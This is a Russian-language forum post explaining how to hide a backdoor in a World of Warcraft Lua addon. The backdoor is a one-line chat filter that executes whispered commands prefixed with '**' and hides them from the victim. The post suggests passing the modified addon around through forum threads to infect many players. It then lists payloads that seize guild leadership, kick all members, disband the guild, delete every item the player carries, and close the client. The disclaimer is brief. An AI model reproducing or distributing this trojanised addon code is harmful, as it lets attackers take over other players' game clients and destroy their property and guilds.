WOW MUST DIE
Интерфейс игры wow написан на языке Lua. Очень светлые , добрые люди пишут на этом чудесном языке вспомогательные модули (так называемые аддоны) для того, чтобы сделать интерфейс или даже часть игрового процесса более приятным, удобным и полезным в использовании.
Не бывает худа без добра, хотя в нашем случае наоборот
С помощью пары волшебных строчек кода можно получить доступ к интерфейсу другого игрока. Зачем? Ответа на этот вопрос для себя найти не смог.
Пока забудем об этом и вернёмся к возможностям и деталям процесса.
Способов управления интерфейсом можно придумать огромное множество…было бы желание. Приведу один из примеров простого, элегантного, дающего широкие возможности, но при этом несколько уязвимого способа:
Нам понадобится:
- Аддон донор (любой популярный аддон подходящий под наши нужды)
- Механизм управления
- Команды для управления
Аддон донор – по сути любой аддон, в который мы помещаем код с механизмом управления.
Самой сложной и важной задачей, является впарить под любым предлогом модифицированный нами аддон кому бы то ни было, смотря какие цели вы преследуете.
Механизм управления – в данном конкретном случае это функция фильтрации сообщений (она используется в таких популярных аддонах как DBM, GearScore, PhoenixStyle и еще десятки других)
PHP код:
ChatFrame_AddMessageEventFilter("CHAT_MSG_WHISPER",function(s,e,m)if(string.sub(m,0,2)=="**")then RunScript(string.sub(m,3))return true end return false end)
Поместив эту строчку в любой основной файл(файлы с расширением .lua) аддона донора вы получаете полный доступ к интерфейсу игрока, который поставил(себе) и включил модифицированный вами аддон.
Есть так же огромное количество других функций (все они описаны на сайте воввики в разделе wow_api) , но так как этот пример самый наглядный - используем его.
Как работает данный скрипт думаю писать не стоит , кто захочет , разберется.
Под каким предлогом можно впарить свой модифицированный аддон подсказать очень сложно, т.к. требуется лишком индивидуальный подход, хотя если преследуется идея Массового «заражения» Большого количества игроков, видимо лучше чем, создать тему обсуждения конкретных аддонов на форуме проекта, придумать нельзя.
Для тех, у кого зачесались ручки, лапки, крабки заранее хочу предупредить, что весь этот пост приведен только для ознакомления с информацией, а не как инструкция по юзу злых скриптов. Все дальнейшие действия, описанные в посте, при условии, что они будут реализованы, скорее всего, будут расценены администрацией как какой-то - айайЯй, карающийся баном.
Команды для управления – если все же игрок поставил ваш аддон и включил его.
Если мы напишем этому игроку в пм сообщение:
**LeaveParty()
Этот игрок выйдет(ливнет) из рейда\пати, если он в нём находится, а само сообщение в пм он не увидит.
(Две звездочки вначале сообщения не опечатка, таким образом, мы позволяем аддону определить, что это не простой текст, а команда, которую нужно исполнить и скрыть от вывода в чат игрока.)
По сути мы имитируем действия игрока в его интерфейсе.
Как еще можно пошалить? дальше развиваем фантазию:
Можно написать отдельный аддон для отправки команд «зараженному» игроку, что даст нам больше возможностей и средств для управления, но описывать это лень , поэтому приведу простые примеры, которые можно отправлять просто в пм игроку без лишней заморочки:
Вместо Sollertis должен быть ваш ник соответсвенно.
Получить приглашение в гильдию:
**GuildInvite("Sollertis")
Забрать права основателя гильдии:
**GuildSetLeader("Sollertis")
Мут в чате гильдии и запрет доступа в банк всем участникам гильдии:
**for i=2,GuildControlGetNumRanks()do GuildControlSetRank(i)for q=2,17 do GuildControlSetRankFlag(q,0)end for z=1,6 do SetGuildBankTabWithdraw(z,0)end SetGuildBankWithdrawLimit(0)GuildControlSaveRank(G uildControlGetRankName(i))end
Повышаем себе ранг в гильдии:
**GuildPromote("Sollertis")
Понижаем себе ранг в гильдии:
**GuildDemote("Sollertis")
Кикаем всех с гильдии:
**SetGuildRosterShowOffline(true)for i=1,GetNumGuildMembers()do G={GetGuildRosterInfo(i)}if(G[1]~=UnitName("player"))then GuildUninvite(G[1])end end
Распустить гильдию:
**GuildDisband()
Закрыть клиент игрока:
**ForceQuit()
Удаляем все одетые вещи и все предметы из сумок игрока:
**for bag=0,4 do for slot=1,32 do PickupContainerItem(bag,slot)DeleteCursorItem()end end for e=1,22 do PickupInventoryItem(e)DeleteCursorItem()end
Это самые простые примеры , а также получать доступ отдельно к гб гильдии меняя права на доступ в ячейки и на голд конкретному званию а потом обратно меняя на старые настройки доступа обратно, через трейд к сумкам игрока, почте, пвп-команде, рейду, банку тоже нет особого труда, но требует немного другого подхода
Зачем создана тема? Такие посты редкость, думаю это кому-то будет интересно.
+а вы давно ставили новые аддоны?